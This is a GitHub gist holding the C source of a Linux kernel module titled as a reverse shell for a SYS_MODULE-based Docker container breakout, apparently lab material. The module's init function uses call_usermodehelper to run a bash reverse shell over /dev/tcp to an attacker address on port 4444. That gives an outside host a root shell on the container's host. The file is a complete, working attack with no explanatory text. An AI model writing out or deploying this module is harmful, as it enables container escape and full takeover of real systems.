Last active
September 19, 2023 19:12
-
-
Save Yuma-Tsushima07/39300bedee8f680d0780819594528dff to your computer and use it in GitHub Desktop.
Reverse-shell C code for SYS_MODULE based docker breakout
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #include <linux/kmod.h> | |
| #include <linux/module.h> | |
| MODULE_LICENSE("GPL"); | |
| MODULE_AUTHOR("AttackDefense"); | |
| MODULE_DESCRIPTION("LKM reverse shell module"); | |
| MODULE_VERSION("1.0"); | |
| char* argv[] = {"/bin/bash","-c","bash -i >& /dev/tcp/<IP-tun0>/4444 0>&1", NULL}; | |
| static char* envp[] = {"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin", NULL }; | |
| static int __init reverse_shell_init(void) { | |
| return call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC); | |
| } | |
| static void __exit reverse_shell_exit(void) { | |
| printk(KERN_INFO "Exiting\n"); | |
| } | |
| module_init(reverse_shell_init); | |
| module_exit(reverse_shell_exit); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment